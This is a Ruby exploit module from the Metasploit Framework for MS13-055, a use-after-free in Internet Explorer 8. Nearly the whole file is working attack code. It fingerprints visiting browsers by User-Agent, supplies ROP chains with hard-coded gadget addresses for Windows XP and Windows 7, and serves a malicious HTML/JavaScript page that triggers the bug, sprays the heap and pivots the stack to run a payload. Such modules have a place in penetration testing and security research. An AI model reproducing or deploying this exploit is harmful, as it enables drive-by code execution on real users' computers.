##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
      'Description'    => %q{
        In IE8 standards mode, it's possible to cause a use-after-free condition by first
        creating an illogical table tree, where a CPhraseElement comes after CTableRow,
        with the final node being a sub table element. When the CPhraseElement's outer
        content is reset by using either outerText or outerHTML through an event handler,
        this triggers a free of its child element (in this case, a CAnchorElement, but
        some other objects apply too), but a reference is still kept in function
        SRunPointer::SpanQualifier. This function will then pass on the invalid reference
        to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
        make a call to the object's SecurityContext virtual function at offset +0x70, which
        results a crash. An attacker can take advantage of this by first creating an
        CAnchorElement object, let it free, and then replace the freed memory with another
        fake object. Successfully doing so may allow arbitrary code execution under the
        context of the user.

        This bug is specific to Internet Explorer 8 only. It was originally discovered by
        Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Orange Tsai',        # Original discovery, PoC
          'Peter Vreugdenhil',  # Joins the party (wtfuzz)
          'sinn3r'              # Joins the party
        ],
      'References'     =>
        [
          [ 'MSB', 'MS13-055'  ],
          [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop'   => :msvcrt,
              'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
              'Align' => 0x77c4d801  # add esp, 0x2c; ret
            }
          ],
          [
            'IE 8 on Windows 7',
            {
              'Rop'   => :jre,
              'Pivot' => 0x7c348b05, # xchg eax, esp; ret
              'Align' => 0x7C3445F8  # add esp, 0x2c; ret
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Privileged'     => false,
      'DisclosureDate' => "Jul 09 2013",
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        return t
      end
    end

    nil
  end

  def get_payload(t, cli)
    rop       = ''
    code      = payload.encoded
    esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

    case t['Rop']
    when :msvcrt
      # Stack adjustment # add esp, -3500
      esp_align = "\x81\xc4\x54\xf2\xff\xff"

      print_status("Using msvcrt ROP")
      rop =
      [
        0x77c1e844, # POP EBP # RETN [msvcrt.dll]
        0x77c1e844, # skip 4 bytes [msvcrt.dll]
        0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
        0xffffffff,
        0x77c127e5, # INC EBX # RETN [msvcrt.dll]
        0x77c127e5, # INC EBX # RETN [msvcrt.dll]
        0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
        0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
        0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
        0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
        0x77c3048a, # POP EDI # RETN [msvcrt.dll]
        0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
        0x77c46efb, # POP ESI # RETN [msvcrt.dll]
        0x77c2aacc, # JMP [EAX] [msvcrt.dll]
        0x77c3b860, # POP EAX # RETN [msvcrt.dll]
        0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
        0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
        0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
      ].pack("V*")
    else
      print_status("Using JRE ROP")
      rop =
      [
        0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
        0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
        0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
        0x7c3415a2, # JMP [EAX] [msvcr71.dll]
        0xffffffff,
        0x7c376402, # skip 4 bytes [msvcr71.dll]
        0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
        0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
        0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
        0x7c344f87, # POP EDX # RETN [msvcr71.dll]
        0xffffffc0, # Value to negate, will become 0x00000040
        0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
        0x7c34d201, # POP ECX # RETN [msvcr71.dll]
        0x7c38b001, # &Writable location [msvcr71.dll]
        0x7c347f97, # POP EAX # RETN [msvcr71.dll]
        0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
        0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
        0x7c345c30  # ptr to 'push esp #  ret ' [msvcr71.dll]
        # rop chain generated with mona.py
      ].pack("V*")
    end

    rop_payload  = rop
    rop_payload << esp_align
    rop_payload << code
    rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

    rop_payload
  end

  def junk
    rand_text_alpha(4).unpack("V")[0].to_i
  end

  def nop
    make_nops(4).unpack("V")[0].to_i
  end

  def get_html(t, p)
    js_pivot   = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
    js_payload = Rex::Text.to_unescape(p)
    js_align   = Rex::Text.to_unescape([t['Align']].pack("V*"))
    js_junk    = Rex::Text.to_unescape([junk].pack("V*"))

    q_id = Rex::Text.rand_text_alpha(1)

    html = %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>
  </head>
  <script>
    #{js_mstime_malloc}

    window.onload = function() {
      var x	= document.getElementById("#{q_id}");
      x.outerText = "";
      a = document.getElementById('myanim');

      p = '';
      for (i=0; i < 7; i++) {
        p += unescape("#{js_junk}");
      }
      p += unescape("#{js_payload}");

      fo = unescape("#{js_align}");
      for (i=0; i < 28; i++) {
        if (i == 27) { fo += unescape("#{js_pivot}"); }
        else         { fo += unescape("#{js_align}"); }
      }

      fo += p;

      mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
    }
  </script>
    <table>
    <tr>
    <div>
    <span>
    <q id='#{q_id}'>
    <a>
    <td></td>
    </a>
    </q>
    </span>
    </div>
    </tr>
    </table>
  <t:ANIMATECOLOR id="myanim"/>
</html>
    |

    html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    t = get_target(agent)

    if t
      p = get_payload(t, cli)
      html = get_html(t, p)
      print_status("Sending exploit...")
      send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
    else
      print_error("Not a suitable target: #{agent}")
      send_not_found(cli)
    end
  end
end